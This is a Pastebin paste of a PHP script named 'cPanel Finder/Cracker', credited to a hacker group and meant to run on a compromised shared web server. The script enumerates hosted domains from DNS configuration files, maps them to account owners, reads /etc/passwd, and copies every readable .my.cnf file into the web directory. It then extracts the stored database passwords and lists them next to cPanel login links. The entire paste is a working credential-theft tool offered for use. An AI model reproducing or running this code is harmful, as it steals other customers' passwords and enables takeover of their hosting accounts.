Advertisement
1337_Brain

cPanel Cracker | 3xp1r3 Cyber Army

Jun 15th, 2015
3,915
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.18 KB | None | 0 0
  1. <?php
  2. /**
  3.  * @author: FaisaL Ahmed aka rEd X
  4.  * @mail: me@faialahmed.me
  5.  * @Screenshot: http://prntscr.com/7c1p34
  6.  * @Last Updated: 01 June 2015
  7. */
  8.  
  9. @ini_set('display_errors',0);
  10. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  11.     $ar0=explode($marqueurDebutLien, $text);
  12.     $ar1=explode($marqueurFinLien, $ar0[$i]);
  13.     return trim($ar1[0]);
  14. }
  15.  
  16. echo '<html><head>
  17. <title>Automatic cPanel Finder/Cracker | 3xp1r3 Cyber Army</title>
  18. <meta content="text/html; charset=utf-8">
  19. <meta name="keywords" content="cPanel Cracker, 3xp1r3, 3xp1r3 Cyber Army, rEd X" />
  20. <meta name="description" content="Automatic cPanel Finder/Cracker" />
  21. <meta name="author" content="rEd X" />
  22. <link rel="SHORTCUT ICON" href="http://us.yimg.com/i/mesg/emoticons7/61.gif">
  23. <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
  24. <link rel="stylesheet" type="text/css" href="http://faisalahmed.me/wp-content/assets/css/1.css">
  25. </head><body>';
  26. echo '<div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #FF0000, 0 0 5px #FF0000, 0 0 5px #FF0000;color: #FFF">cPanel Finder/Cracker<br /><sub>3xp1r3 Cyber Army</sub></div><br/>';
  27.  
  28. echo "<center>";
  29. $d0mains = @file('/etc/named.conf');
  30. $domains = scandir("/var/named");
  31.  
  32. if ($domains or $d0mains)
  33. {
  34.     $domains = scandir("/var/named");
  35.     if($domains) {
  36. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  37. $count=1;
  38. $dc = 0;
  39. $list = scandir("/var/named");
  40. foreach($list as $domain){
  41. if(strpos($domain,".db")){
  42. $domain = str_replace('.db','',$domain);
  43. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  44. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  45. $path = getcwd();
  46.  
  47. if (is_readable($dirz)) {
  48. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  49. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  50. $password=entre2v2($p,'password="','"');
  51. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  52. $dc++;
  53. }
  54.  
  55. }
  56. }
  57. echo '</table>';
  58. $total = $dc;
  59. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  60. echo '</center>';
  61. }else{
  62. $d0mains = @file('/etc/named.conf');
  63.     if($d0mains) {
  64. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  65. $count=1;
  66. $dc = 0;
  67. $mck = array();
  68. foreach($d0mains as $d0main){
  69.     if(@eregi('zone',$d0main)){
  70.         preg_match_all('#zone "(.*)"#',$d0main,$domain);
  71.         flush();
  72.         if(strlen(trim($domain[1][0])) >2){
  73.             $mck[] = $domain[1][0];
  74.         }
  75.     }
  76. }
  77. $mck = array_unique($mck);
  78. $usr = array();
  79. $dmn = array();
  80. foreach($mck as $o) {
  81.     $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  82.     $usr[] = $infos['name'];
  83.     $dmn[] = $o;
  84. }
  85. array_multisort($usr,$dmn);
  86. $dt = file('/etc/passwd');
  87. $passwd = array();
  88. foreach($dt as $d) {
  89.     $r = explode(':',$d);
  90.     if(strpos($r[5],'home')) {
  91.         $passwd[$r[0]] = $r[5];
  92.     }
  93. }
  94. $l=0;
  95. $j=1;
  96. foreach($usr as $r) {
  97. $dirz = '/home/'.$r.'/.my.cnf';
  98. $path = getcwd();
  99. if (is_readable($dirz)) {
  100. copy($dirz, ''.$path.'/'.$r.'.txt');
  101. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  102. $password=entre2v2($p,'password="','"');
  103. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  104. $dc++;
  105.                 flush();
  106.                 $l=$l?0:1;
  107.                 $j++;
  108.                                 }
  109.             }
  110.                         }
  111. echo '</table>';
  112. $total = $dc;
  113. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  114. echo '</center>';
  115.  
  116. }
  117. }else{
  118. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  119. }
  120.  
  121. echo "<br>&#169; <font color='#FF0000'>rEd X</font> | 3xp1r3 Cyber Army";
  122. echo "</body></html>";
  123. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement